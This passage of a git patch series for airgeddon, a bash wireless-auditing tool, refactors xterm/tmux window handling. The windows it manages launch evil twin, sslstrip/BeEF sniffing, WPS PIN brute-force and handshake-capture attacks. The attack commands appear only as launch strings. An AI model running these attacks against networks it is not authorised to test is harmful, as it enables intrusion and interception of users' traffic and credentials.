$sslstrip_cmd_line" | awk '{print $2}') + sslstrip_pid=$(ps --no-headers aux | grep "${sslstrip_cmd_line}" | grep -v "grep ${sslstrip_cmd_line}" | awk '{print $2}') done et_processes+=("${sslstrip_pid}") fi @@ -9616,7 +9616,7 @@ function launch_beef() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then beef_cmd_line=$(echo "cd ${beef_path} && ./beef -c \"${beef_file}\"" | tr -d '"') while [ -z "${beef_pid}" ]; do - beef_pid=$(ps --no-headers aux | grep "$beef_cmd_line" | grep -v "grep $beef_cmd_line" | awk '{print $2}') + beef_pid=$(ps --no-headers aux | grep "${beef_cmd_line}" | grep -v "grep ${beef_cmd_line}" | awk '{print $2}') done et_processes+=("${beef_pid}") fi @@ -9663,7 +9663,7 @@ function launch_bettercap_sniffing() { local sslstrip2_cmd_line sslstrip2_cmd_line=$(echo "${bettercap_cmd}" | tr -d '"') while [ -z "${sslstrip2_pid}" ]; do - sslstrip2_pid=$(ps --no-headers aux | grep "$sslstrip2_cmd_line" | grep -v "grep $sslstrip2_cmd_line" | awk '{print $2}') + sslstrip2_pid=$(ps --no-headers aux | grep "${sslstrip2_cmd_line}" | grep -v "grep ${sslstrip2_cmd_line}" | awk '{print $2}') done et_processes+=("${sslstrip2_pid}") else @@ -10700,7 +10700,7 @@ function explore_for_targets_option() { fi done while [ -n "${explore_running}" ]; do - explore_running=$(ps aux | grep "$explore_process_pid" | grep -v "grep $explore_process_pid") + explore_running=$(ps aux | grep "${explore_process_pid}" | grep -v "grep ${explore_process_pid}") sleep 1 done exp_target="Exploring for targets" From 859150e1a5669e703601e3628ab9027623440687 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 01:28:28 +0530 Subject: [PATCH 034/148] Evil Twin AP Attack With Sniffing And Bettercap-SSLStrip2/BeEF - Added function call to kill required tmux windows after successful completion of the attack. --- airgeddon.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 5381e3da7..cca4027e5 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190327 +#Date.........: 20190328 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -7546,6 +7546,7 @@ function exec_et_sniffing_sslstrip2_attack() { kill_beef kill_et_windows + kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi From 50addc77278b772113c6f494c21702dc8ee6e0ef Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 01:29:39 +0530 Subject: [PATCH 035/148] Evil Twin AP Attack With Sniffing And SSLStrip - Added function call to kill required tmux windows after successful completion of the attack. --- airgeddon.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/airgeddon.sh b/airgeddon.sh index cca4027e5..212be70b6 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7506,6 +7506,7 @@ function exec_et_sniffing_sslstrip_attack() { language_strings "${language}" 115 "read" kill_et_windows + kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi From c7044333cc0f1469dcd106967cd3a37de75a1655 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 01:30:27 +0530 Subject: [PATCH 036/148] Evil Twin AP Attack With Sniffing - Added function call to kill required tmux windows after successful completion of the attack. --- airgeddon.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/airgeddon.sh b/airgeddon.sh index 212be70b6..4d2f1ca9b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7475,6 +7475,7 @@ function exec_et_sniffing_attack() { language_strings "${language}" 115 "read" kill_et_windows + kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi From 6a4f8163a21a63f6baec4d1fbd2a39aee6bb8088 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 01:32:05 +0530 Subject: [PATCH 037/148] Evil Twin Attack AP Only - Added function call to kill required tmux windows after successful completion of the attack. --- airgeddon.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/airgeddon.sh b/airgeddon.sh index 4d2f1ca9b..10651b230 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7448,6 +7448,7 @@ function exec_et_onlyap_attack() { language_strings "${language}" 115 "read" kill_et_windows + kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi From aad9f0b1e795e9f1edac662c47c4970139e5f427 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 28 Mar 2019 00:10:05 +0100 Subject: [PATCH 038/148] Fixed error on xterm while airodump scanning --- airgeddon.sh | 42 +++++++++++++++++++++++------------------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 10651b230..64bb0088f 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10670,8 +10670,10 @@ function explore_for_targets_option() { fi ;; esac + cypher_cmd=" --encrypt ${cypher_filter} " else cypher_filter="" + cypher_cmd=" " language_strings "${language}" 366 "yellow" fi language_strings "${language}" 115 "read" @@ -10687,27 +10689,29 @@ function explore_for_targets_option() { fi recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" "Exploring for targets" + manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 + + local explore_running + local explore_process_pid + local explore_cmd_line + local exp_target + explore_cmd_line=$(echo "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" | tr -d '"') + + while [ -z "${explore_process_pid}" ]; do + explore_process_pid=$(ps --no-headers aux | grep "${explore_cmd_line}" | grep -v "grep ${explore_cmd_line}" | awk '{print $2}' | tr '\n' ':') + if [ -n "${explore_process_pid}" ]; then + explore_process_pid="${explore_process_pid%%:*}" + explore_running="${explore_process_pid}" + fi + done + while [ -n "${explore_running}" ]; do + explore_running=$(ps aux | grep "${explore_process_pid}" | grep -v "grep ${explore_process_pid}") + sleep 1 + done + exp_target="Exploring for targets" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - local explore_running - local explore_process_pid - local explore_cmd_line - local exp_target - explore_cmd_line=$(echo "airodump-ng -w ${tmpdir}nws --encrypt ${cypher_filter} ${interface} --band ${airodump_band_modifier}" | tr -d '"') - - while [ -z "${explore_process_pid}" ]; do - explore_process_pid=$(ps --no-headers aux | grep "${explore_cmd_line}" | grep -v "grep ${explore_cmd_line}" | awk '{print $2}' | tr '\n' ':') - if [ -n "${explore_process_pid}" ]; then - explore_process_pid="${explore_process_pid%%:*}" - explore_running="${explore_process_pid}" - fi - done - while [ -n "${explore_running}" ]; do - explore_running=$(ps aux | grep "${explore_process_pid}" | grep -v "grep ${explore_process_pid}") - sleep 1 - done - exp_target="Exploring for targets" tmux kill-window -t "${session_name}:$exp_target" fi targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") From b2f627d598ddd7af0fd131367fdf3315d0bd0972 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 05:06:40 +0530 Subject: [PATCH 039/148] Added a function that waits for the code execution to finish on newly spawned xterm/tmux window --- airgeddon.sh | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 64bb0088f..0b4fb80ff 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13422,6 +13422,33 @@ function kill_tmux_windows() { done } +function wait_for_process() { + + debug_print + + local running_process + local running_process_pid + local running_process_cmd_line + local exp_target + running_process_cmd_line=$(echo "${1}" | tr -d '"') + + while [ -z "${running_process_pid}" ]; do + running_process_pid=$(ps --no-headers aux | grep "${running_process_cmd_line}" | grep -v "grep ${running_process_cmd_line}" | awk '{print $2}' | tr '\n' ':') + if [ -n "${running_process_pid}" ]; then + running_process_pid="${running_process_pid%%:*}" + running_process="${running_process_pid}" + fi + done + while [ -n "${running_process}" ]; do + running_process=$(ps aux | grep "${running_process_pid}" | grep -v "grep ${running_process_pid}") + sleep 0.2 + done + exp_target="${2}" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + tmux kill-window -t "${session_name}:$exp_target" + fi +} + #Centralized function to launch window using xterm/tmux function manage_output() { From 33aedf2f25f9bab01a46dc0a7f592bc3aba7067a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 05:12:15 +0530 Subject: [PATCH 040/148] Explore For Targets - Improved the code by moving a block to a function. Added a function call --- airgeddon.sh | 24 +----------------------- 1 file changed, 1 insertion(+), 23 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0b4fb80ff..70d4871e2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10690,30 +10690,8 @@ function explore_for_targets_option() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" + wait_for_process "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" "Exploring for targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" --encrypt "${cypher_filter}" "${interface}" --band "${airodump_band_modifier}" > /dev/null 2>&1 - - local explore_running - local explore_process_pid - local explore_cmd_line - local exp_target - explore_cmd_line=$(echo "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} --band ${airodump_band_modifier}" | tr -d '"') - - while [ -z "${explore_process_pid}" ]; do - explore_process_pid=$(ps --no-headers aux | grep "${explore_cmd_line}" | grep -v "grep ${explore_cmd_line}" | awk '{print $2}' | tr '\n' ':') - if [ -n "${explore_process_pid}" ]; then - explore_process_pid="${explore_process_pid%%:*}" - explore_running="${explore_process_pid}" - fi - done - while [ -n "${explore_running}" ]; do - explore_running=$(ps aux | grep "${explore_process_pid}" | grep -v "grep ${explore_process_pid}") - sleep 1 - done - exp_target="Exploring for targets" - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - tmux kill-window -t "${session_name}:$exp_target" - fi targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") targetline=$((targetline - 1)) From 9d13b51d3436d576593a4a93deaa434a3717af39 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 05:59:47 +0530 Subject: [PATCH 041/148] Slight code modification in a function --- airgeddon.sh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 70d4871e2..84f08e581 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13396,6 +13396,11 @@ function kill_tmux_windows() { if [ "${current_window_name}" = "${tmux_main_window}" ]; then continue fi + if [ -n "${1}" ]; then + if [ "${current_window_name}" = "${1}" ]; then + continue + fi + fi tmux kill-window -t "${session_name}:${current_window_name}" done } From 824f6defa936a14b85c5477291e2ea18c290e207 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 07:07:07 +0530 Subject: [PATCH 042/148] Explore For WPS Targets - Added support for unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 84f08e581..2e4615c64 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10807,7 +10807,9 @@ function explore_for_wps_targets_option() { rm -rf "${tmpdir}wps"* > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 + manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" + wait_for_process "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier}" "Exploring for WPS targets" + #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) From abb83d0e3ad254efddf50d7656dd1dc0ebccbcd6 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Thu, 28 Mar 2019 11:47:40 +0530 Subject: [PATCH 043/148] Explore For WPS Targets - Fixed a command line argument and the related function --- airgeddon.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2e4615c64..9675ff655 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10790,11 +10790,11 @@ function explore_for_wps_targets_option() { wash_band_modifier="" if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 1 ]; then if check_dual_scan_on_wash; then - wash_band_modifier="-2 -5" + wash_band_modifier=" -2 -5" else ask_yesno 145 "no" if [ "${yesno}" = "y" ]; then - wash_band_modifier="-5" + wash_band_modifier=" -5" fi fi fi @@ -10807,8 +10807,8 @@ function explore_for_wps_targets_option() { rm -rf "${tmpdir}wps"* > /dev/null 2>&1 recalculate_windows_sizes - manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" - wait_for_process "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier}" "Exploring for WPS targets" + manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" + wait_for_process "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier}" "Exploring for WPS targets" #xterm +j -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} ${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) @@ -11068,7 +11068,7 @@ function set_wash_parameterization() { for item in "${WASH_OUTPUT[@]}"; do if [[ ${item} =~ ^\[\!\].*bad[[:space:]]FCS ]]; then - fcs="-C" + fcs=" -C " break fi done From 7da803dd0852927913b6604dad03df70677a1aa5 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 06:54:48 +0530 Subject: [PATCH 044/148] Added function call to completely exit from tmux session --- airgeddon.sh | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 9675ff655..24fb50850 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190328 +#Date.........: 20190329 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -11849,10 +11849,14 @@ function exit_script_option() { language_strings "${language}" 160 "yellow" fi - clean_env_vars - echo - exit ${exit_code} + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + clean_env_vars + kill_tmux_session "${session_name}" + else + clean_env_vars + exit ${exit_code} + fi } #Exit the script managing possible pending tasks but not showing anything @@ -11889,9 +11893,13 @@ function hardcore_exit() { echo -e "${green_color} Ok\r${normal_color}" fi - clean_env_vars - - exit ${exit_code} + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + clean_env_vars + kill_tmux_session "${session_name}" + else + clean_env_vars + exit ${exit_code} + fi } #Generate a small time loop printing some dots From df15fb0e387b520318f2ebb9b920c55ccffd09c1 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 06:59:25 +0530 Subject: [PATCH 045/148] WPS Custom Pin Bully Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 24fb50850..c72a7c3fd 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3228,7 +3228,9 @@ function exec_wps_custom_pin_bully_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin bully attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps custom pin reaver attack From 9e7b68f24554a10292d6dd7e2192b100acfb8756 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 06:59:56 +0530 Subject: [PATCH 046/148] WPS Custom Pin Reaver Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index c72a7c3fd..d90e826b4 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3247,7 +3247,9 @@ function exec_wps_custom_pin_reaver_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS custom pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS custom pin reaver attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute bully pixie dust attack From a875c2531ef0216472f23447d7b46f47d0577038 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:00:54 +0530 Subject: [PATCH 047/148] WPS Bully Pixie Dust Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index d90e826b4..175dc4111 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3266,7 +3266,9 @@ function exec_bully_pixiewps_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully pixie dust attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute reaver pixie dust attack From c562c1a1e28f51a2d484163557f81c2089c5d052 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:01:16 +0530 Subject: [PATCH 048/148] WPS Reaver Pixie Dust Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 175dc4111..1e55e1b16 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3285,7 +3285,9 @@ function exec_reaver_pixiewps_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver pixie dust attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver pixie dust attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps bruteforce pin bully attack From b1dbc53a5b2e4616ada263c654c0f57a6441846b Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:02:10 +0530 Subject: [PATCH 049/148] WPS Brute Force Pin Bully Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1e55e1b16..ee7143d0c 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3304,7 +3304,9 @@ function exec_wps_bruteforce_pin_bully_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin bully attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin bully attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps bruteforce pin reaver attack From 58e826961084f1b96a7d9312369a68d544acf937 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:02:33 +0530 Subject: [PATCH 050/148] WPS Brute Force Pin Reaver Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index ee7143d0c..4932ca495 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3323,7 +3323,9 @@ function exec_wps_bruteforce_pin_reaver_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS bruteforce pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bruteforce pin reaver attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps pin database bully attack From 7a66860ccd17c321c2537cc053729a5b0fcfbac9 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:03:34 +0530 Subject: [PATCH 051/148] WPS Bully Known Pins Database Based Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4932ca495..48008a0ad 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3338,7 +3338,9 @@ function exec_wps_pin_database_bully_attack() { set_wps_attack_script "bully" "pindb" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS bully known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS bully known pins database based attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps pin database reaver attack From d86465a8a9a918eac62adc08a498415fd9e3fa81 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:04:00 +0530 Subject: [PATCH 052/148] WPS Reaver Known Pins Database Based Attack - Added unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 48008a0ad..49d73b972 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3353,7 +3353,9 @@ function exec_wps_pin_database_reaver_attack() { set_wps_attack_script "reaver" "pindb" recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdright_window} -T \"WPS reaver known pins database based attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" + #xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute DoS pursuit mode attack From 8d1a102962c84f25e10d150b88bc31f60674af97 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:11:12 +0530 Subject: [PATCH 053/148] Capture Handshake - Added unified xterm/tmux calls --- airgeddon.sh | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 49d73b972..51d79c539 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10637,6 +10637,8 @@ function capture_handshake_window() { debug_print + local capture_handshake_pid + local capture_handshake_cmd_line echo language_strings "${language}" 143 "blue" echo @@ -10647,8 +10649,17 @@ function capture_handshake_window() { rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topright_window}" -T "Capturing Handshake" -e airodump-ng -c "${channel}" -d "${bssid}" -w "${tmpdir}handshake" "${interface}" > /dev/null 2>&1 & - processidcapture=$! + manage_output "+j -sb -rightbar -geometry ${g1_topright_window} -T \"Capturing Handshake\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" "Capturing Handshake" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + capture_handshake_cmd_line=$(echo "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" | tr -d '"') + while [ -z "${capture_handshake_pid}" ]; do + capture_handshake_pid=$(ps --no-headers aux | grep "${capture_handshake_cmd_line}" | grep -v "grep ${capture_handshake_cmd_line}" | awk '{print $2}') + done + processidcapture="${capture_handshake_pid}" + else + processidcapture=$! + fi + #xterm +j -sb -rightbar -geometry "${g1_topright_window}" -T "Capturing Handshake" -e 